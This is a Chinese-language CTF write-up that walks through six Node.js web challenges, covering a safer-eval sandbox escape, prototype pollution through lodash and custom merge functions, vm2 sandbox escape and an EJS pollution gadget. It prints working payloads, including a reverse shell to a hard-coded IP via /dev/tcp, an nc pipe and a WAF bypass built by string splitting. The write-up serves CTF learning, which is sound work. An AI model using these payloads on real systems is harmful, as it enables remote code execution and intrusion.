【Web】NodeJs相关例题wp

news2025/1/19 17:22:51

目录

①[GKCTF 2020]ez三剑客-easynode

②[MoeCTF 2021]fake game

③[安洵杯 2020]Validator 

④ [HZNUCTF 2023 final]eznode

⑤[CNSS] 🏭 EzPollution_pre

⑥[CNSS]✴️ EzPollution


①[GKCTF 2020]ez三剑客-easynode

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

这里的意思就是。我们传入一个delay和原先定义的60000进行比较。大的值复制给delay

然后作为timeout的值传入

显然。默认定义超时6秒。进入下个路由。

但是我们的代码不能超时6秒。也就不能进去下个路由执行沙盒逃逸了

那么问题就出在这个settimeout函数上。

浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647ms。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由

这样就实现了既比60000大,又小于1000

还是问下大模型这段代码的解读()

这段代码是JavaScript中的一个典型用法,使用了 setTimeout 和 clearTimeout 函数,并尝试发送一个响应。让我逐步为你解释:

1. setTimeout(() => {...}, 1000);

这行代码创建了一个定时器,它会在1000毫秒(也就是1秒)后执行大括号 {} 内的函数。在这个例子中,这个函数是:

javascript

() => {  
  clearTimeout(t);  
  console.log('timeout');  
  try {  
    res.send('Timeout!');  
  } catch (e) {  
  }  

}

2. clearTimeout(t);

这行代码试图清除一个名为 t 的定时器。如果这个定时器存在,那么它将被取消,且不会执行定时器内的代码。如果这个定时器不存在,那么这行代码不会有任何效果。
3. console.log('timeout');

这行代码会在控制台打印出 "timeout"。
4. try { res.send('Timeout!'); } catch (e) { }

这段代码尝试发送一个响应(在这个例子中,是一个名为 'Timeout!' 的字符串)。如果发送响应的操作成功,那么它不会做任何其他事情。如果发送响应的操作失败(例如,由于网络问题或服务器错误),那么会捕获异常并阻止它们传播。这个 catch 块不会打印任何消息,所以如果你想看到错误消息,你可能需要把 catch 块改成 catch (e) { console.log(e); }。

需要注意的是,这个代码是在Node.js环境下运行的,因为它使用了 res.send 方法来发送响应。在浏览器JavaScript中,通常不会使用这种方法,而是使用 fetch 或其他 AJAX 方法来发送请求并处理响应。

随便传一个1,回显符合代码

这里给到safer-eval的版本号

github搜索一下相关issue

最终payload:

/eval?delay=2147483648
e=(function () {

const process = clearImmediate.constructor("return process;")();

return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

②[MoeCTF 2021]fake game

进来先随便输数据看回显

 merge?触发关键词,想到原型链污染

看一眼源码

哦?有__proto__内味了 

抓包看看

好的直接构造payload

{"attributes": {"health": 0, "attack": 0, "armor": 0, "__proto__": {"health": 999999999, "attack": 999999999, "armor":  999999999}}}

③[安洵杯 2020]Validator 

先dirsearch扫一下目录

访问/package.json

给到版本号,敏感的weber已经有想法了( 

根据读到的package包引用,发现lodash版本为4.17.16。lodash<4.17.17是有原型链污染漏洞的 

​​​​​​​详见

{
	"a": {"__proto__": {"test": "testvalue"}}, "a\"].__proto__[\"test": 222
}

访问/app.js

贴出源码

const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')

const app = express()
const port = 9000

app.use(express.json())
app.use(express.urlencoded({
    extended: true
}))

let info = []

const {
    body,
    validationResult
} = require('express-validator')

middlewares = [
    body('*').trim(),
    body('password').isLength({ min: 6 }),
]

app.use(middlewares)

readFile = function (filename) {
	var data = fs.readFileSync(filename)
	return data.toString()
}

app.post("/login", (req, res) => {
    console.log(req.body)
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }

    if (req.body.password == "D0g3_Yes!!!"){
        console.log(info.system_open)
        if (info.system_open == "yes"){
            const flag = readFile("/flag")
            return res.status(200).send(flag)
        }else{
            return res.status(400).send("The login is successful, but the system is under test and not open...")
        }
    }else{
        return res.status(400).send("Login Fail, Password Wrong!")
    }
})

app.get("/", (req, res) => {
    const login_html = readFile(path.join(__dirname, "login.html"))
    return res.status(200).send(login_html)
})

app.use(express_static("./"))

app.listen(port, () => {
    console.log(`server listening on ${port}`)
})

 简单审一下,污染system_open为yes就可以拿flag

表单提交个D0g3_Yes!!!回显如下,符合上述代码

改个payload直接打

{
    "password":"D0g3_Yes!!!",
    "a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "yes"
}

④ [HZNUCTF 2023 final]eznode

访问/app.js

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

vm2 原型链污染导致沙箱逃逸 poc:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

 改下payload:

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"').toString();"}} 

⑤[CNSS] 🏭 EzPollution_pre

login.js

var express = require('express')
var router = express.Router()
var utils = require('../utils/common')

function waf(value) {
  const blacklistRegex = /(exec|load)/i
  if (blacklistRegex.test(value)) {
    return false
  }
  return true
}

/* GET home page.  */
router.post('/', require('body-parser').json(), function (req, res, next) {
  res.type('html')
  var secert = {}
  var sess = req.session
  let user = {}
  utils.copy(user, req.body)
  if (secert.psych === 'p5ych') {
    if (waf(secert.eva1)) {
      res.send(seval(secert.eva1))
    } else {
      res.send('hehe,,')
    }
  } else {
    return res.json({
      ret_code: 2,
      ret_msg: '登录失败' + JSON.stringify(user),
    })
  }
})

module.exports = router

copy函数可以原型链污染 

common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}

 payload:

{
    "__proto__":
    {
    "psych":"p5ych",
    "eval":"res.json({ret_flag:require('child_process')['exe'+'cSync']('whoami').toString(),ret_code:0})"
    }
}

⑥[CNSS]✴️ EzPollution

给到源码

var express = require('express');

var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: false }));

app.all("/", function (req, res) {
    res.render(`${__dirname}/views/index.ejs`, { title: 'CNSS Login' });
})

app.all("/login", function (req, res) {
    let user = merge({}, req.query)
    if (user.username === "admin" && user.password === "admin") {
        res.send({
            msg: "Login success!"
        })
    }else{
        res.send({
            msg: "Login failed!"
        })
    }
})

app.use(function (req, res, next) {
    res.status(404).send({
        msg: "Not found!"
    })
})

app.use(function (err, req, res, next) {
    console.error(err.stack)
    res.status(500).send({
        msg: "Internal server error!"
    })
})

function merge(target) {
    for (var i = 1; i < arguments.length; i++) {
        var source = arguments[i]
        
        for (var key in source) {
            if (key === '__proto__') {
                return;
            }
            if (hasOwnProperty.call(source, key)) {
                if (key in source && key in target) {
                    merge(target[key], source[key])
                } else {
                    target[key] = source[key]
                }
            }
        }
    }
    return target
}

var server = app.listen(5000, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("http://%s:%s", host, port)
});

因为禁了__proto__

用{"constructor": {"prototype": {"role": "admin"}}}一样可以污染原型链 

注意这里/login用的get方法传参

a[b][c]=111

相当于{a:{b:{c:'111'}}}

参考题目的hint:https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce

发现ejs有个注入点

{
    "__proto__": {
        "client": 1,
        "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
    }
}

构造

constructor[prototype][client]=true&constructor[prototype][escapeFunction]=1; return global.process.mainModule.constructor._load('child_process').execSync('whoami')

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1239074.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于STC12C5A60S2系列1T 8051单片机的液晶显示器LCD1602显示用户自定义字符应用

基于基于STC12C5A60S2系列1T 8051单片机的液晶显示器LCD1602显示两行常规字符应用 STC12C5A60S2系列1T 8051单片机管脚图STC12C5A60S2系列1T 8051单片机I/O口各种不同工作模式及配置STC12C5A60S2系列1T 8051单片机I/O口各种不同工作模式介绍液晶显示器LCD1602简单介绍通过液晶显…

从零开始的c语言日记day36——指针进阶

一、什么是指针: 指针的概念:1.指针就是个变量&#xff0c;用来存放地址&#xff0c;地址唯一标识一块内存空间。 ⒉指针的大小是固定的4/8个字节(32位平台/64位平台)。 指针是有类型&#xff0c;指针的类型决定了指针的-整数的步长&#xff0c;指针解引用操作的时候的权限。…

opencv-直方图均衡化

直方图均衡化是一种用于增强图像对比度的图像处理技术。它通过调整图像的灰度级别分布&#xff0c;使得图像中各个灰度级别的像素分布更均匀&#xff0c;从而提高图像的对比度。 在OpenCV中&#xff0c;你可以使用cv2.equalizeHist()函数来进行直方图均衡化。 以下是一个简单…

Altium Designer 相同模块的布局布线复用-AD

1、利用交互式布线&#xff0c;将两个相同模块的元器件在PCB上分块显示。 在原理图中&#xff0c;框选某一模块电路、按快捷键 TS 切换到PCB编辑界面、工具>器件摆放>在矩形区域内排列&#xff08;可将模块中的器件都集中放置到矩形框内&#xff09;。2、为模块电路添加 …

缓存雪崩、击穿、穿透_解决方案

文章目录 缓存雪崩、击穿、穿透1.缓存雪崩造成缓存雪崩解决缓存雪崩 2. 缓存击穿造成缓存击穿解决缓存击穿 3.缓存穿透造成缓存穿透解决缓存穿透 缓存雪崩、击穿、穿透 一般用户数据存储于磁盘&#xff0c;读写速度慢。 使用redis作为缓存&#xff0c;相当于数据缓存在内存&a…

笔记59:序列到序列学习Seq2seq

本地笔记地址&#xff1a;D:\work_file\&#xff08;4&#xff09;DeepLearning_Learning\03_个人笔记\3.循环神经网络\第9章&#xff1a;动手学深度学习~现代循环神经网络 a a a a a a a a a a a a a a a

HTML实现简易计算器

随便写的&#xff0c;可能有bug&#xff0c;可以在评论区指出哈。 HTML代码&#xff1a; <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>AI简易计算器</title> </head> <body> <table id"c…

JMeter集结点的使用场景以及如何使用?

JMeter是一个开源的负载测试工具&#xff0c;它被广泛用于测试应用程序、Web服务和网络协议等的性能。在JMeter中&#xff0c;集结点&#xff08;JMeter Cluster&#xff09;是一种分布式测试环境&#xff0c;它允许多个JMeter实例同时工作来模拟高并发负载。 使用集结点的场景…

jQuery的学习(一篇文章齐全)

目录 Day29 jQuery 1、jQuery介绍 2、jQuery的选择器 2.1、直接查找 2.2、导航查找 3、jQuery的绑定事件 案例1&#xff1a;绑定取消事件 案例2&#xff1a;模拟事件触发 4、jQuery的操作标签 tab切换案例jQuery版本&#xff1a; 案例1&#xff1a; 案例2&#xff…

virtualbox 扩展磁盘后在win10 虚拟机看不到新扩展的空间

造成标题中问题的原因是&#xff0c;扩展的是win10.vdi 的空间&#xff0c;虚拟机使用使用的下边那个以uuid命名的空间&#xff0c;将这个磁盘的虚拟分配空间也调整到150G . 然后在win10的磁盘管理里就可以看到新加的空间了。之后再点相应的盘进行扩展卷操作即可。

“云浮云福保”暖心回归! 保障升级价格不变,医保个账可为全家缴费!

11月22日&#xff0c;2024年“云浮云福保”项目启动会在广东省云浮市迎宾馆成功举办。记者在会上获悉&#xff0c;“云浮云福保”是在云浮市医疗保障局、云浮市金融工作局、国家金融监督管理总局云浮监管分局指导下&#xff0c;的指导下&#xff0c;由中国人民财产保险股份有限…

12-25v转3.3v高清水下钓鱼摄像头电源供电芯片方案

高清水下钓鱼摄像头电源芯片方案&#xff1a;12-25V转3.3V&#xff0c;支持超宽电压输入范围和30米长线视频放大 在水下钓鱼摄像头设计中&#xff0c;为了实现高清画质和稳定的电源供应&#xff0c;需要一款能够将12-25V转换为3.3V输出的高效电源芯片。这款电源芯片不仅支持高…

【Python大数据笔记_day11_Hadoop进阶之MR和YARNZooKeeper】

MR 单词统计流程 已知文件内容: hadoop hive hadoop spark hive flink hive linux hive mysql ​ input结果: k1(行偏移量) v1(每行文本内容)0 hadoop hive hadoop spark hive 30 flink hive linux hive mysql map结果:k2(split切割后的单词) v2(拼接…

thinkphp文件夹生成zip压缩包

一、准备工作&#xff0c;使用phpinfo()查看有没有zip扩展 <?php echo phpinfo(); ?>Thinkphp使用PHP自带的ZipArchive压缩文件或文件夹 显示enabled 说明已经配置好 如果没有安装扩展的&#xff0c;请参照以下方法&#xff1a; 1、下载对应版本的扩展包&#xff1a…

基于SpringBoot+Vue的体检预约管理系统

基于SpringBootVue的体检预约管理系统的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootMyBatisVue工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 主页 管理员界面 用户界面 摘要 体检预约管理系统是一种基于Spring Boot…

android11 申请所有文件访问权限

Android 11 引入了强制执行分区存储的限制&#xff0c;导致应用默认不能访问外部文件。 针对以前涉及较多文件的操作&#xff0c;可采用申请所有文件访问权限的方式来解决这一问题&#xff0c;实现方式如下。 &#xff08;虽然这样做安全性低&#xff0c;官方并不推荐这样&…

vue3 使用simplebar【滚动条】

1.下载simplebar-vue npm install simplebar-vue --save2.引入注册 import simplebar from "simplebar-vue"; import simplebar-vue/dist/simplebar.min.css import simplebar-vue/dist/simplebar-vue.jsvue2的版本基础上 【引入注册】 import simplebar from &qu…

头发的方向图(2D和3D)与合成

首先&#xff0c;我们从一个不受光照限制的环境中拍摄一组输入图像&#xff0c;这些图像包含了头发的不同视角和姿态。我们对这些图像进行半自动的分割&#xff0c;将头发从背景中分离出来&#xff0c;然后使用PMVS &#xff0c;一种先进的多视角立体算法&#xff0c;来重建一个…

inux应用开发基础知识——串口应用编程(十一)

前言&#xff1a; 在Linux系统中&#xff0c;串口设备以文件的形式存在&#xff0c;通常位于/dev目录下&#xff0c;如ttyS0、ttyUSB0等。这些设备文件可以用于读取和写入数据。要使用串口设备&#xff0c;需要打开相应的设备文件。在打开串口时&#xff0c;可以使用O_RDWR选项…

YOLOv8-seg改进:重新思考轻量化视觉Transformer中的局部感知CloFormer,提升上下文感知权重来增强局部特征 |2023清华

🚀🚀🚀本文改进:CloFormertAttention利用共享权重和上下文感知权重有效地提取高频局部特征表示 🚀🚀🚀SEAM、MultiSEAM分割物与物相互遮挡、分割小目标性能 🚀🚀🚀YOLOv8-seg创新专栏:http://t.csdnimg.cn/KLSdv 学姐带你学习YOLOv8,从入门到创新,轻轻…